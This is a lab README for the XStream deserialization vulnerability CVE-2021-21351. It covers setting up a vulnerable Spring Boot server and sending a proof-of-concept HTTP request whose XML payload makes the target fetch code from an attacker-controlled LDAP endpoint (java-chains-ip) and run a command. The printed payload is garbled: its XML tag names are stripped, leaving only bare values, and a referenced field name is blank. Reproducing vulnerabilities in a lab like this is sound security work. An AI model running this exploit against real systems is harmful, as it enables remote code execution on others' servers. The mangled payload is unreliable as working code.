# XStream Deserialization Remote Command Execution (CVE-2021-21351) [中文版本(Chinese version)](README.zh-cn.md) XStream is a simple library to serialize objects to XML and back again. XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.15 and earlier, blocklists are incomplete and attackers could use `javax.naming.ldap.Rdn$RdnEntry` and `javax.sql.rowset.BaseRowSet` to make an JNDI injection and execute arbitrary commands finally. Reference links. - https://x-stream.github.io/CVE-2021-21351.html - https://paper.seebug.org/1543/ - https://www.veracode.com/blog/research/exploiting-jndi-injections-java - https://github.com/welk1n/JNDI-Injection-Exploit/ ## Vulnerable Environment Start a Springboot + XStream 1.4.15 server. ``` docker compose up -d ``` Once the environment is started, you can send the following request to `http://your-ip:8080` to test if the server has started successfully ![](1.png) ## POC Since the target Java version is higher than 8u191, you need the help of `org.apache.naming.factory.BeanFactory` with EL expression injection to execute arbitrary commands, reference to [this article](https://www.veracode.com/blog/research/exploiting-jndi-injections-java). You can use the [Java Chains](https://github.com/vulhub/java-chains) for vulnerability replication. Refer to the [Quick Start](https://java-chains.vulhub.org/docs/guide) to launch Java Chains. Afterwards, according to the image below, select to set the command to execute as `touch /tmp/success`, and generate the JNDI LDAP URL Payload: ![](2.png) Use the above LDAP URL as the value of `` to construct the POC as follows: ``` POST / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 3181 ysomap -10086 <__overrideDefaultParser>false false false false false 1008 true 1000 0 2 0 0 0 true 1004 false ldap://java-chains-ip:50389/x com.sun.rowset.JdbcRowSetImpl setAutoCommit boolean false false false -1 false false 1 1 false ysomap test ``` It can be seen that `touch /tmp/success` has been successfully executed: ![](3.png) If something goes wrong with the POC and Java version, the POC have to be modified by changing ``<__overrideDefaultParser>false`` to ``<__useServicesMechanism>false``.